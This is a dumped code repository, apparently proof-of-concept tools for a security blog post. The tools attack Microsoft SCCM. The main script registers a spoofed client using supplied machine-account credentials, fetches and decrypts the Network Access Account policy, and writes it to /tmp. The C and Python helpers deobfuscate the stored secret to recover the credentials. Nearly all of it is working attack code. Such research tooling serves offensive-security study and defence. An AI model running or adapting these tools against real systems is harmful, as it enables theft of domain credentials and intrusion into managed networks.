[
  {
    "path": ".gitignore",
    "content": "env\n\n# Byte-compiled / optimized / DLL files\n__pycache__/\n*.py[cod]\n*$py.class\n\n# C extensions\n*.so\n\n# Distribution / packaging\n.Python\nbuild/\ndevelop-eggs/\ndist/\ndownloads/\neggs/\n.eggs/\nlib/\nlib64/\nparts/\nsdist/\nvar/\nwheels/\nshare/python-wheels/\n*.egg-info/\n.installed.cfg\n*.egg\nMANIFEST\n\n# PyInstaller\n#  Usually these files are written by a python script from a template\n#  before PyInstaller builds the exe, so as to inject date/other infos into it.\n*.manifest\n*.spec\n\n# Installer logs\npip-log.txt\npip-delete-this-directory.txt\n\n# Unit test / coverage reports\nhtmlcov/\n.tox/\n.nox/\n.coverage\n.coverage.*\n.cache\nnosetests.xml\ncoverage.xml\n*.cover\n*.py,cover\n.hypothesis/\n.pytest_cache/\ncover/\n\n# Translations\n*.mo\n*.pot\n\n# Django stuff:\n*.log\nlocal_settings.py\ndb.sqlite3\ndb.sqlite3-journal\n\n# Flask stuff:\ninstance/\n.webassets-cache\n\n# Scrapy stuff:\n.scrapy\n\n# Sphinx documentation\ndocs/_build/\n\n# PyBuilder\n.pybuilder/\ntarget/\n\n# Jupyter Notebook\n.ipynb_checkpoints\n\n# IPython\nprofile_default/\nipython_config.py\n\n# pyenv\n#   For a library or package, you might want to ignore these files since the code is\n#   intended to run in multiple environments; otherwise, check them in:\n# .python-version\n\n# pipenv\n#   According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control.\n#   However, in case of collaboration, if having platform-specific dependencies or dependencies\n#   having no cross-platform support, pipenv may install dependencies that don't work, or not\n#   install all needed dependencies.\n#Pipfile.lock\n\n# poetry\n#   Similar to Pipfile.lock, it is generally recommended to include poetry.lock in version control.\n#   This is especially recommended for binary packages to ensure reproducibility, and is more\n#   commonly ignored for libraries.\n#   https://python-poetry.org/docs/basic-usage/#commit-your-poetrylock-file-to-version-control\n#poetry.lock\n\n# pdm\n#   Similar to Pipfile.lock, it is generally recommended to include pdm.lock in version control.\n#pdm.lock\n#   pdm stores project-wide configurations in .pdm.toml, but it is recommended to not include it\n#   in version control.\n#   https://pdm.fming.dev/#use-with-ide\n.pdm.toml\n\n# PEP 582; used by e.g. github.com/David-OConnor/pyflow and github.com/pdm-project/pdm\n__pypackages__/\n\n# Celery stuff\ncelerybeat-schedule\ncelerybeat.pid\n\n# SageMath parsed files\n*.sage.py\n\n# Environments\n.env\n.venv\nenv/\nvenv/\nENV/\nenv.bak/\nvenv.bak/\n\n# Spyder project settings\n.spyderproject\n.spyproject\n\n# Rope project settings\n.ropeproject\n\n# mkdocs documentation\n/site\n\n# mypy\n.mypy_cache/\n.dmypy.json\ndmypy.json\n\n# Pyre type checker\n.pyre/\n\n# pytype static type analyzer\n.pytype/\n\n# Cython debug symbols\ncython_debug/\n\n# PyCharm\n#  JetBrains specific template is maintained in a separate JetBrains.gitignore that can\n#  be found at https://github.com/github/gitignore/blob/main/Global/JetBrains.gitignore\n#  and can be added to the global gitignore or merged into this file.  For a more nuclear\n#  option (not recommended) you can uncomment the following to ignore the entire idea folder.\n#.idea/\n"
  },
  {
    "path": "README.md",
    "content": "## SCCMwtf\n\nA couple of POC tools to support the blog post found [here](https://blog.xpnsec.com/unobfuscating-network-access-accounts/).\n\nNote: This code is designed for exploring SCCM in a lab... don't be runnin' this on a job!\n\n## Video\n\n[![](https://res.cloudinary.com/xpnsec/image/upload/v1657400050/unobfuscating-network-access-accounts/youtube_zg4omj.png)](https://www.youtube.com/watch?v=oMy4nbmeQkw)\n"
  },
  {
    "path": "policysecretunobfuscate.c",
    "content": "#include <iostream>\n#include <windows.h>\n#include <wincrypt.h>\n\n// https://stackoverflow.com/questions/17261798/converting-a-hex-string-to-a-byte-array\nint char2int(char input)\n{\n    if (input >= '0' && input <= '9')\n        return input - '0';\n    if (input >= 'A' && input <= 'F')\n        return input - 'A' + 10;\n    if (input >= 'a' && input <= 'f')\n        return input - 'a' + 10;\n    throw std::invalid_argument(\"Invalid input string\");\n}\n\nvoid hex2bin(const char* src, char* target)\n{\n    while (*src && src[1])\n    {\n        *(target++) = char2int(*src) * 16 + char2int(src[1]);\n        src += 2;\n    }\n}\n\nint main(int argc, char **argv)\n{\n    HCRYPTPROV prov, prov2;\n    HCRYPTHASH hash;\n    HCRYPTKEY cryptKey;\n    BYTE buffer[1024];\n\n    if (argc != 2) {\n        return 1;\n    }\n\n    char* input = argv[1];\n\n    if (input[0] != '8' || input[1] != '9') {\n        return 1;\n    }\n\n    char* output = (char*)malloc(strlen(input) / 2);\n    if (output == NULL) {\n        return 1;\n    }\n\n    // Convert to bytes\n    hex2bin(input, output);\n\n    // Get data length\n    DWORD len = *(DWORD*)(output + 52);\n\n    if (len >= sizeof(buffer)) {\n      return 2;\n    }\n\n    // Hash length\n    memcpy(buffer, output + 64, len);\n\n    // Do the \"crypto\" stuff\n    CryptAcquireContext(&prov, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT);\n    CryptCreateHash(prov, CALG_SHA1, 0, 0, &hash);\n    CryptHashData(hash, (const BYTE*)output + 4, 0x28, 0);\n    CryptDeriveKey(prov, CALG_3DES, hash, 0, &cryptKey);\n    CryptDecrypt(cryptKey, 0, 1, 0, buffer, &len);\n\n    // Output\n    wprintf(L\"%s\\n\", buffer);\n\n    return 0;\n}\n"
  },
  {
    "path": "policysecretunobfuscate.py",
    "content": "\n# Python script which uses C and Windows API?!!! This cannot stand!\n# Tested with data taken from YT video, typed all manually...\n# 89130000703994099597edb7733621248D4f9d474995679d1b487564356e34e63fee0855f34044f494e49a7b140000002000000028000000036600000000000015893849fa928387d5c783fa23676ed8da6ab4275a31d653f3f5db6df860521b9b33ab0cf12669f1\n\nfrom cryptography.hazmat.primitives import padding\nfrom cryptography.hazmat.backends import default_backend\nfrom cryptography.hazmat.primitives import hashes\nfrom cryptography.hazmat.primitives.ciphers import Cipher, modes\n\n# This is a hack to support both cryptography 48.0.0 and previous versions\ntry:\n    from cryptography.hazmat.decrepit.ciphers.algorithms import TripleDES\nexcept ImportError:\n    from cryptography.hazmat.primitives.ciphers.algorithms import TripleDES\n\ndef mscrypt_derive_key_sha1(secret:bytes):\n    # Implementation of CryptDeriveKey(prov, CALG_3DES, hash, 0, &cryptKey);\n    buf1 = bytearray([0x36] * 64)\n    buf2 = bytearray([0x5C] * 64)\n\n    digest = hashes.Hash(hashes.SHA1(), backend=default_backend())\n    digest.update(secret)\n    hash_ = digest.finalize()\n\n    for i in range(len(hash_)):\n        buf1[i] ^= hash_[i]\n        buf2[i] ^= hash_[i]\n\n    digest1 = hashes.Hash(hashes.SHA1(), backend=default_backend())\n    digest1.update(buf1)\n    hash1 = digest1.finalize()\n\n    digest2 = hashes.Hash(hashes.SHA1(), backend=default_backend())\n    digest2.update(buf2)\n    hash2 = digest2.finalize()\n\n    derived_key = hash1 + hash2[:4]\n    return derived_key\n\ndef deobfuscate_policysecret(output:str or bytes):\n    if isinstance(output, str):\n        output = bytes.fromhex(output)\n    \n    data_length = int.from_bytes(output[52:56], 'little')\n    buffer = output[64:64+data_length]\n\n    key = mscrypt_derive_key_sha1(output[4:4+0x28])\n    iv = bytes([0] * 8)\n    cipher = Cipher(TripleDES(key), modes.CBC(iv), backend=default_backend())\n    decryptor = cipher.decryptor()\n    decrypted_data = decryptor.update(buffer) + decryptor.finalize()\n\n    padder = padding.PKCS7(64).unpadder() # 64 is the block size in bits for DES3\n    decrypted_data = padder.update(decrypted_data) + padder.finalize()\n    return decrypted_data\n\ndef main():\n    import argparse\n    parser = argparse.ArgumentParser(description='Deobfuscates the policy secret data')\n    parser.add_argument('policydata', help='The output from the policy secret command')\n    args = parser.parse_args()\n\n    decrypted_data = deobfuscate_policysecret(args.policydata)\n    try:\n        decrypted_data = decrypted_data.decode('utf-16-le')\n    except:\n        decrypted_data = decrypted_data.hex()    \n    print(decrypted_data)\n    \n\n\nif __name__ == '__main__':\n    main()\n"
  },
  {
    "path": "requirements.txt",
    "content": "certifi==2022.6.15\ncffi==1.15.1\ncharset-normalizer==2.1.0\ncryptography==37.0.4\nidna==3.3\nntlm-auth==1.5.0\npyasn1==0.4.8\npyasn1-modules==0.2.8\npycparser==2.21\nrequests==2.28.1\nrequests-ntlm==1.1.0\nrequests-toolbelt==0.9.1\nurllib3==1.26.10\n"
  },
  {
    "path": "sccmwtf.py",
    "content": "import datetime\nimport zlib\nimport requests\nimport re\nimport time\nimport sys\nfrom pyasn1.codec.der.decoder import decode\nfrom pyasn1_modules import rfc5652\nfrom cryptography.hazmat.primitives import serialization\nfrom cryptography.hazmat.primitives.serialization import PublicFormat\nfrom cryptography.hazmat.primitives.asymmetric import rsa\nfrom cryptography.hazmat.primitives.asymmetric.padding import PKCS1v15\nfrom cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes\nfrom cryptography import x509\nfrom cryptography.x509.oid import NameOID\nfrom cryptography.hazmat.primitives import hashes\nfrom cryptography.x509 import ObjectIdentifier\nfrom requests_toolbelt.multipart import decoder\nfrom requests_ntlm import HttpNtlmAuth\n\n# Who needs just 1 date format :/\ndateFormat1 = \"%Y-%m-%dT%H:%M:%SZ\"\ndateFormat2 = \"%Y%m%d%H%M%S.000000+000\"\ndateFormat3 = \"%m/%d/%Y %H:%M:%S\"\n\nnow = datetime.datetime.utcnow()\n\n# Huge thanks to @_Mayyhem with SharpSCCM for making requesting these easy!\nregistrationRequestWrapper = \"<ClientRegistrationRequest>{data}<Signature><SignatureValue>{signature}</SignatureValue></Signature></ClientRegistrationRequest>\\x00\"\nregistrationRequest = \"\"\"<Data HashAlgorithm=\"1.2.840.113549.1.1.11\" SMSID=\"\" RequestType=\"Registration\" TimeStamp=\"{date}\"><AgentInformation AgentIdentity=\"CCMSetup.exe\" AgentVersion=\"5.00.8325.0000\" AgentType=\"0\" /><Certificates><Encryption Encoding=\"HexBinary\" KeyType=\"1\">{encryption}</Encryption><Signing Encoding=\"HexBinary\" KeyType=\"1\">{signature}</Signing></Certificates><DiscoveryProperties><Property Name=\"Netbios Name\" Value=\"{client}\" /><Property Name=\"FQ Name\" Value=\"{clientfqdn}\" /><Property Name=\"Locale ID\" Value=\"2057\" /><Property Name=\"InternetFlag\" Value=\"0\" /></DiscoveryProperties></Data>\"\"\"\nmsgHeader = \"\"\"<Msg ReplyCompression=\"zlib\" SchemaVersion=\"1.1\"><Body Type=\"ByteRange\" Length=\"{bodylength}\" Offset=\"0\" /><CorrelationID>{{00000000-0000-0000-0000-000000000000}}</CorrelationID><Hooks><Hook3 Name=\"zlib-compress\" /></Hooks><ID>{{5DD100CD-DF1D-45F5-BA17-A327F43465F8}}</ID><Payload Type=\"inline\" /><Priority>0</Priority><Protocol>http</Protocol><ReplyMode>Sync</ReplyMode><ReplyTo>direct:{client}:SccmMessaging</ReplyTo><SentTime>{date}</SentTime><SourceHost>{client}</SourceHost><TargetAddress>mp:MP_ClientRegistration</TargetAddress><TargetEndpoint>MP_ClientRegistration</TargetEndpoint><TargetHost>{sccmserver}</TargetHost><Timeout>60000</Timeout></Msg>\"\"\"\nmsgHeaderPolicy = \"\"\"<Msg ReplyCompression=\"zlib\" SchemaVersion=\"1.1\"><Body Type=\"ByteRange\" Length=\"{bodylength}\" Offset=\"0\" /><CorrelationID>{{00000000-0000-0000-0000-000000000000}}</CorrelationID><Hooks><Hook2 Name=\"clientauth\"><Property Name=\"AuthSenderMachine\">{client}</Property><Property Name=\"PublicKey\">{publickey}</Property><Property Name=\"ClientIDSignature\">{clientIDsignature}</Property><Property Name=\"PayloadSignature\">{payloadsignature}</Property><Property Name=\"ClientCapabilities\">NonSSL</Property><Property Name=\"HashAlgorithm\">1.2.840.113549.1.1.11</Property></Hook2><Hook3 Name=\"zlib-compress\" /></Hooks><ID>{{041A35B4-DCEE-4F64-A978-D4D489F47D28}}</ID><Payload Type=\"inline\" /><Priority>0</Priority><Protocol>http</Protocol><ReplyMode>Sync</ReplyMode><ReplyTo>direct:{client}:SccmMessaging</ReplyTo><SentTime>{date}</SentTime><SourceID>GUID:{clientid}</SourceID><SourceHost>{client}</SourceHost><TargetAddress>mp:MP_PolicyManager</TargetAddress><TargetEndpoint>MP_PolicyManager</TargetEndpoint><TargetHost>{sccmserver}</TargetHost><Timeout>60000</Timeout></Msg>\"\"\"\npolicyBody = \"\"\"<RequestAssignments SchemaVersion=\"1.00\" ACK=\"false\" RequestType=\"Always\"><Identification><Machine><ClientID>GUID:{clientid}</ClientID><FQDN>{clientfqdn}</FQDN><NetBIOSName>{client}</NetBIOSName><SID /></Machine><User /></Identification><PolicySource>SMS:PRI</PolicySource><Resource ResourceType=\"Machine\" /><ServerCookie /></RequestAssignments>\"\"\"\nreportBody = \"\"\"<Report><ReportHeader><Identification><Machine><ClientInstalled>0</ClientInstalled><ClientType>1</ClientType><ClientID>GUID:{clientid}</ClientID><ClientVersion>5.00.8325.0000</ClientVersion><NetBIOSName>{client}</NetBIOSName><CodePage>850</CodePage><SystemDefaultLCID>2057</SystemDefaultLCID><Priority /></Machine></Identification><ReportDetails><ReportContent>Inventory Data</ReportContent><ReportType>Full</ReportType><Date>{date}</Date><Version>1.0</Version><Format>1.1</Format></ReportDetails><InventoryAction ActionType=\"Predefined\"><InventoryActionID>{{00000000-0000-0000-0000-000000000003}}</InventoryActionID><Description>Discovery</Description><InventoryActionLastUpdateTime>{date}</InventoryActionLastUpdateTime></InventoryAction></ReportHeader><ReportBody /></Report>\"\"\"\n\nclass Tools:\n  @staticmethod\n  def encode_unicode(input):\n    # Remove the BOM\n    return input.encode('utf-16')[2:]\n\n  @staticmethod\n  def write_to_file(input, file):\n    with open(file, \"w\") as fd:\n      fd.write(input)\n\nclass CryptoTools:\n    @staticmethod\n    def createCertificateForKey(key, cname):\n        subject = issuer = x509.Name([\n            x509.NameAttribute(NameOID.COMMON_NAME, cname),\n        ])\n        cert = x509.CertificateBuilder().subject_name(\n            subject\n        ).issuer_name(\n            issuer\n        ).public_key(\n            key.public_key()\n        ).serial_number(\n            x509.random_serial_number()\n        ).not_valid_before(\n            datetime.datetime.utcnow() - datetime.timedelta(days=2)\n        ).not_valid_after(\n            datetime.datetime.utcnow() + datetime.timedelta(days=365)\n        ).add_extension(\n            x509.KeyUsage(digital_signature=True, key_encipherment=False, key_cert_sign=False,\n                                  key_agreement=False, content_commitment=False, data_encipherment=True,\n                                  crl_sign=False, encipher_only=False, decipher_only=False),\n            critical=False,\n        ).add_extension(\n            # SMS Signing Certificate (Self-Signed)\n            x509.ExtendedKeyUsage([ObjectIdentifier(\"1.3.6.1.4.1.311.101.2\"), ObjectIdentifier(\"1.3.6.1.4.1.311.101\")]),\n            critical=False,\n        ).sign(key, hashes.SHA256())\n\n        return cert\n\n    @staticmethod\n    def generateRSAKey():\n        key = rsa.generate_private_key(public_exponent=65537, key_size=2048)\n        return key\n\n    @staticmethod\n    def buildMSPublicKeyBlob(key):\n        # Built from spec: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-mqqb/ade9efde-3ec8-4e47-9ae9-34b64d8081bb\n        blobHeader = b\"\\x06\\x02\\x00\\x00\\x00\\xA4\\x00\\x00\\x52\\x53\\x41\\x31\\x00\\x08\\x00\\x00\\x01\\x00\\x01\\x00\"\n        blob = blobHeader + key.public_key().public_numbers().n.to_bytes(int(key.key_size / 8), byteorder=\"little\")\n        return blob.hex().upper()\n\n    # Signs data using SHA256 and then reverses the byte order as per SCCM\n    @staticmethod\n    def sign(key, data):\n        signature = key.sign(data, PKCS1v15(), hashes.SHA256())\n        signature_rev = bytearray(signature)\n        signature_rev.reverse()\n        return bytes(signature_rev)\n\n    # Same for now, but hints in code that some sigs need to have the hash type removed\n    @staticmethod\n    def signNoHash(key, data):\n        signature = key.sign(data, PKCS1v15(), hashes.SHA256())\n        signature_rev = bytearray(signature)\n        signature_rev.reverse()\n        return bytes(signature_rev)\n\n    @staticmethod\n    def decrypt(key, data):\n        print(key.decrypt(data, PKCS1v15()))\n\n    @staticmethod\n    def decrypt3Des(key, encryptedKey, iv, data):\n        desKey = key.decrypt(encryptedKey, PKCS1v15())\n\n        cipher = Cipher(algorithms.TripleDES(desKey), modes.CBC(iv))\n        decryptor = cipher.decryptor()\n        return decryptor.update(data) + decryptor.finalize()\n\nclass SCCMTools:\n\n    def __init__(self, server):\n        self._server = server\n        self._serverURI = f\"http://{server}\"\n\n    def sendCCMPostRequest(self, data, auth=False, username=\"\", password=\"\"):\n        headers = {\n            \"Connection\": \"close\",\n            \"User-Agent\": \"ConfigMgr Messaging HTTP Sender\",\n            \"Content-Type\": \"multipart/mixed; boundary=\\\"aAbBcCdDv1234567890VxXyYzZ\\\"\"\n        }\n\n        if auth:\n          r = requests.request(\"CCM_POST\", f\"{self._serverURI}/ccm_system_windowsauth/request\", headers=headers, data=data, auth=HttpNtlmAuth(username, password))\n        else:\n          r = requests.request(\"CCM_POST\", f\"{self._serverURI}/ccm_system/request\", headers=headers, data=data)\n\n        multipart_data = decoder.MultipartDecoder.from_response(r)\n        for part in multipart_data.parts:\n            if part.headers[b'content-type'] == b'application/octet-stream':\n                return zlib.decompress(part.content).decode('utf-16')\n\n    def requestPolicy(self, url, clientID=\"\", authHeaders=False, retcontent=False):\n        headers = {\n            \"Connection\": \"close\",\n            \"User-Agent\": \"ConfigMgr Messaging HTTP Sender\"\n        }\n\n        if authHeaders == True:\n          headers[\"ClientToken\"] = \"GUID:{};{};2\".format(\n            clientID, \n            now.strftime(dateFormat1)\n          )\n          headers[\"ClientTokenSignature\"] = CryptoTools.signNoHash(self.key, \"GUID:{};{};2\".format(clientID, now.strftime(dateFormat1)).encode('utf-16')[2:] + \"\\x00\\x00\".encode('ascii')).hex().upper()\n\n        r = requests.get(f\"{self._serverURI}\"+url, headers=headers)\n        if retcontent == True:\n          return r.content\n        else:\n          return r.text\n\n    def createCertificate(self, writeToTmp=False):\n        self.key = CryptoTools.generateRSAKey()\n        self.cert = CryptoTools.createCertificateForKey(self.key, u\"ConfigMgr Client\")\n\n        if writeToTmp:\n            with open(\"/tmp/key.pem\", \"wb\") as f:\n                f.write(self.key.private_bytes(\n                    encoding=serialization.Encoding.PEM, \n                    format=serialization.PrivateFormat.TraditionalOpenSSL, \n                    encryption_algorithm=serialization.BestAvailableEncryption(b\"mimikatz\"),\n                ))\n\n            with open(\"/tmp/certificate.pem\", \"wb\") as f:\n                f.write(self.cert.public_bytes(serialization.Encoding.PEM))\n\n    def sendRegistration(self, name, fqname, username, password):\n        b = self.cert.public_bytes(serialization.Encoding.DER).hex().upper()\n\n        embedded = registrationRequest.format(\n          date=now.strftime(dateFormat1), \n          encryption=b, \n          signature=b, \n          client=name, \n          clientfqdn=fqname\n        )\n\n        signature = CryptoTools.sign(self.key, Tools.encode_unicode(embedded)).hex().upper()\n        request = Tools.encode_unicode(registrationRequestWrapper.format(data=embedded, signature=signature)) + \"\\r\\n\".encode('ascii')\n\n        header = msgHeader.format(\n          bodylength=len(request)-2, \n          client=name, \n          date=now.strftime(dateFormat1), \n          sccmserver=self._server\n        )\n\n        data = \"--aAbBcCdDv1234567890VxXyYzZ\\r\\ncontent-type: text/plain; charset=UTF-16\\r\\n\\r\\n\".encode('ascii') + header.encode('utf-16') + \"\\r\\n--aAbBcCdDv1234567890VxXyYzZ\\r\\ncontent-type: application/octet-stream\\r\\n\\r\\n\".encode('ascii') + zlib.compress(request) + \"\\r\\n--aAbBcCdDv1234567890VxXyYzZ--\".encode('ascii')\n\n        deflatedData = self.sendCCMPostRequest(data, True, username, password)\n        r = re.findall(\"SMSID=\\\"GUID:([^\\\"]+)\\\"\", deflatedData)\n        if r != None:\n            return r[0]\n\n        return None\n\n    def sendPolicyRequest(self, name, fqname, uuid, targetName, targetFQDN, targetUUID):\n        body = Tools.encode_unicode(policyBody.format(clientid=targetUUID, clientfqdn=targetFQDN, client=targetName)) + b\"\\x00\\x00\\r\\n\"\n        payloadCompressed = zlib.compress(body)\n\n        bodyCompressed = zlib.compress(body)\n        public_key = CryptoTools.buildMSPublicKeyBlob(self.key)\n        clientID = f\"GUID:{uuid.upper()}\"\n        clientIDSignature = CryptoTools.sign(self.key, Tools.encode_unicode(clientID) + \"\\x00\\x00\".encode('ascii')).hex().upper()\n        payloadSignature = CryptoTools.sign(self.key, bodyCompressed).hex().upper()\n\n        header = msgHeaderPolicy.format(\n          bodylength=len(body)-2, \n          sccmserver=self._server, \n          client=name, \n          publickey=public_key, \n          clientIDsignature=clientIDSignature, \n          payloadsignature=payloadSignature, \n          clientid=uuid, \n          date=now.strftime(dateFormat1)\n        )\n\n        data = \"--aAbBcCdDv1234567890VxXyYzZ\\r\\ncontent-type: text/plain; charset=UTF-16\\r\\n\\r\\n\".encode('ascii') + header.encode('utf-16') + \"\\r\\n--aAbBcCdDv1234567890VxXyYzZ\\r\\ncontent-type: application/octet-stream\\r\\n\\r\\n\".encode('ascii') + bodyCompressed + \"\\r\\n--aAbBcCdDv1234567890VxXyYzZ--\".encode('ascii')\n\n        deflatedData = self.sendCCMPostRequest(data)\n        result = re.search(\"PolicyCategory=\\\"NAAConfig\\\".*?<!\\[CDATA\\[https*://<mp>([^]]+)\", deflatedData, re.DOTALL + re.MULTILINE)\n        #r = re.findall(\"http://<mp>(/SMS_MP/.sms_pol?[^\\]]+)\", deflatedData)\n        return [result.group(1)]\n\n    def parseEncryptedPolicy(self, result):\n        # Man.. asn1 suxx!\n        content, rest = decode(result, asn1Spec=rfc5652.ContentInfo())\n        content, rest = decode(content.getComponentByName('content'), asn1Spec=rfc5652.EnvelopedData())\n        encryptedRSAKey = content['recipientInfos'][0]['ktri']['encryptedKey'].asOctets()\n        iv = content['encryptedContentInfo']['contentEncryptionAlgorithm']['parameters'].asOctets()[2:]\n        body = content['encryptedContentInfo']['encryptedContent'].asOctets()\n\n        decrypted = CryptoTools.decrypt3Des(self.key, encryptedRSAKey, iv, body)\n        policy = decrypted.decode('utf-16')\n        return policy\n\nif __name__ == \"__main__\":\n    \n    print(\"SCCMwtf... by @_xpn_\")\n\n    target_name = sys.argv[1]\n    target_fqdn = sys.argv[2]\n    target_sccm = sys.argv[3]\n    target_username = sys.argv[4]\n    target_password = sys.argv[5]\n\n    print(\"[*] Args: \")\n    print(f\"[*] Spoof Name: {target_name}\")\n    print(f\"[*] Spoof FQDN: {target_fqdn}\")\n    print(f\"[*] Target SCCM: {target_sccm}\")\n    print(f\"[*] Computer account username: {target_username}\")\n    print(f\"[*] Computer account password: {target_password}\")\n\n    print(\"[*] Creating certificate for our fake server...\")\n    tools = SCCMTools(target_sccm)\n    tools.createCertificate(True)\n    \n    print(\"[*] Registering our fake server...\")\n    uuid = tools.sendRegistration(target_name, target_fqdn, target_username, target_password)\n\n    print(f\"[*] Done.. our ID is {uuid}\")\n\n    # If too quick, SCCM requests fail (DB error, jank!)\n    time.sleep(4)\n\n    print(\"[*] Requesting NAAPolicy.. 2 secs\")\n    urls = tools.sendPolicyRequest(target_name, target_fqdn, uuid, target_name, target_fqdn, uuid)\n\n    print(\"[*] Parsing for Secretz...\")\n\n    for url in urls:\n        result = tools.requestPolicy(url)\n        if result.startswith(\"<HTML>\"):\n          result = tools.requestPolicy(url, uuid, True, True)\n          decryptedResult = tools.parseEncryptedPolicy(result)\n          Tools.write_to_file(decryptedResult, \"/tmp/naapolicy.xml\")\n\n    print(\"[*] Done.. decrypted policy dumped to /tmp/naapolicy.xml\")\n"
  }
]